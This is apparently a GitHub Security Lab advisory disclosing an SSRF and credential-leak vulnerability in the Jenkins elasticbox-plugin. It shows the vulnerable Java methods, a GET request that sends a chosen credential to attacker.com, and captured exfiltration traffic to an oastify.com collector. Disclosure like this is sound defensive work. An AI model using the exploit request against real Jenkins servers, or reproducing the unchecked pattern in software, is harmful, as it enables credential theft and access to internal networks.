Coordinated Disclosure Timeline
- 2023-04-13: Issue reported to the Jenkins Security team.
- 2023-07-12: Advisory published (no fix available).
Summary
A Server-Side Request Forgery (SSRF) vulnerability in jenkinsci/elasticbox-plugin
allows the leak of sensitive credentials to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the endpointUrl
parameter in multiple web methods such as SlaveConfiguration$DescriptorImpl#doGetInstances
. These methods read arbitrary credentials from the credentials storage using hardcoded ACL.System
permission and send them to attacker-controlled servers.
Product
elasticbox-plugin Jenkins plugin
Tested Version
Details
Arbitrary secret leakage via SSRF (GHSL-2023-069
)
There are multiple methods affected by this vulnerability. We will focus on SlaveConfiguration$DescriptorImpl#doGetInstances
but similar analysis also applies to:
- GET to
SlaveConfiguration$DescriptorImpl#getBoxStack
- GET to
SlaveConfiguration$DescriptorImpl#doCheckBoxVersion
- GET to
SlaveConfiguration$DescriptorImpl#doFillLocationItems
- GET to
SlaveConfiguration$DescriptorImpl#doFillProviderItems
- GET to
SlaveConfiguration$DescriptorImpl#doFillProfileItems
- GET to
SlaveConfiguration$DescriptorImpl#doFillBoxVersionItems
- GET to
SlaveConfiguration$DescriptorImpl#doFillBoxDeploymentTypeItems
- GET to
SlaveConfiguration$DescriptorImpl#doFillBoxItems
- GET to
SlaveConfiguration$DescriptorImpl#doFillWorkspaceItems
- POST/crumb to
ElasticBoxCloud$DescriptorImpl#doTestConnection
Affected source code: SlaveConfiguration.java
public DescriptorHelper.JsonArrayResponse doGetInstances(@RelativePath("..") @QueryParameter String name,
@RelativePath("..") @QueryParameter String endpointUrl,
@RelativePath("..") @QueryParameter String credentialsId,
@QueryParameter String workspace,
@QueryParameter String box,
@QueryParameter String boxVersion) {
return DescriptorHelper.getInstancesAsJsonArrayResponse(
retrieveClientWithCredentials(name, endpointUrl, credentialsId),
workspace, StringUtils.isBlank(boxVersion) ? box : boxVersion);
}
In order to exploit the vulnerability, the attacker needs to send a request to Jenkins specifying the secret to be (credentialsId
) read and the server to send it to (endpointUrl
). For example, to leak the FLAG
credential to attacker.com
the authenticated attacker would need to send the following request:
GET /jenkins/descriptorByName/com.elasticbox.jenkins.SlaveConfiguration/getInstances?endpointUrl=http%3A%2F%2Fattacker.com&credentialsId=FLAG&workspace=foo HTTP/1.1
Host: localhost:8080
Connection: close
Note, that since this request does not require any authentication and the request method is GET
, an attacker can just send a link to a victim with access to the Jenkins server which, if clicked, will send the credentials to the attacker server.
The code responsible to read the arbitrary credentials is:
public static Authentication getAuthenticationData(String credentialsId) {
if (StringUtils.isBlank(credentialsId) ) {
return null;
}
Authentication authData = null;
final StandardCredentials credentials = CredentialsMatchers.firstOrNull(
CredentialsProvider.lookupCredentials(StandardCredentials.class, Jenkins.get(), ACL.SYSTEM, Collections.<DomainRequirement>emptyList() ), CredentialsMatchers.withId(credentialsId) );
if (TokenCredentialsImpl.class.isInstance(credentials)) {
TokenCredentialsImpl tokenCredentials = (TokenCredentialsImpl)credentials;
authData = new TokenAuthentication(tokenCredentials.getSecret().getPlainText() );
} else if (UsernamePasswordCredentials.class.isInstance(credentials)) {
UsernamePasswordCredentials userPw = (UsernamePasswordCredentials)credentials;
authData = new UserAndPasswordAuthentication(userPw.getUsername(),
userPw.getPassword().getPlainText() );
} else if (StringCredentialsImpl.class.isInstance(credentials)) {
StringCredentialsImpl stringCredentials = (StringCredentialsImpl)credentials;
authData = new TokenAuthentication(stringCredentials.getSecret().getPlainText() );
}
return authData;
}
As we can see in the code, regardless of the user privileges, the credentials are read with ACL.SYSTEM
permissions.
Once the credentials are retrieved, they are sent back to the attacker-controlled server which will receive the following POST
request:
POST /services/security/token HTTP/1.1
Content-Length: 45
Content-Type: application/json; charset=UTF-8
Host: nd4p07ts9raimbys6yff4pi45vbmzdu1j.oastify.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.6 (Java/11.0.16.1)
Accept-Encoding: gzip,deflate
{"email":"asdf","password":"SUPERSECRETFLAG"}
The plugin will receive the response from the attacker-controlled server and perform a new request including the response from the attacker-controlled server:
GET /services/workspaces/asdf/instances HTTP/1.1
Accept: application/json
ElasticBox-Token: <RESPONSE FROM FIRST RESPONSE>
ElasticBox-Release: 4.0
Host: nd4p07ts9raimbys6yff4pi45vbmzdu1j.oastify.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.6 (Java/11.0.16.1)
Accept-Encoding: gzip,deflate
An attacker can abuse this second request to leak the response of any internal servers. In order to do so they would have to send the request (or fool someone with access to the jenkins server to click on a malicious link) and then respond with a redirect to the internal server. The vulnerable plugin will follow the redirection, fetch the response from the internal server and include it in the ElasticBox-Token
header sent back to the attacker.
This vulnerability was found using CodeQL’s SSRF Java query.
Impact
This vulnerability can lead to sensitive secret credentials leak and access to the internal network servers.
CVE
- CVE-2023-37964 (CSRF)
- CVE-2023-37965 (missing permission check)
Resources
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-069
in any communication regarding this issue.